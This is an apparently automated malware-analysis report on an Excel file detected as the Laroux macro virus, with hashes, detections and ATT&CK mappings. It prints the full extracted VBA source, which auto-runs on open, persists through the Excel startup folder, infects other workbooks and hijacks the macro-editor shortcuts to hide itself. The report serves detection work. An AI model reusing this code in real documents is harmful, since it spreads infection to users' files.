Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9a959ea78b41e44…

MALICIOUS

Office (OLE)

62.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: f7b7bdd91235c746d96c31360ae49620 SHA-1: 70c0eeb55256dff5b9aa0910bcc9026fedaf2885 SHA-256: b9a959ea78b41e441afbd53e64b5594d3d9954aa8efcbac6833c83213acc7ea0
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is an Excel document containing a VBA macro with an Auto_Open subroutine, which is a common technique for executing malicious code upon opening. The macro attempts to copy itself to the Excel startup folder as 'StartUp.xls' to achieve persistence. It also manipulates application events and keyboard shortcuts to potentially evade analysis or detection. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3592 bytes
SHA-256: dcf2dc3826eafc06eb66d4204f7e2dbf3466b808af0cecd22df17cedb4e632c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "HTMLHidden1, 1, 0, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden2, 2, 1, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden3, 3, 2, MSForms, HTMLHidden"

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "HTMLHidden1, 1, 0, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden2, 2, 1, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden3, 3, 2, MSForms, HTMLHidden"

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "HTMLHidden1, 1, 0, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden2, 2, 1, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden3, 3, 2, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden4, 5, 3, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden5, 6, 4, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden6, 7, 5, MSForms, HTMLHidden"

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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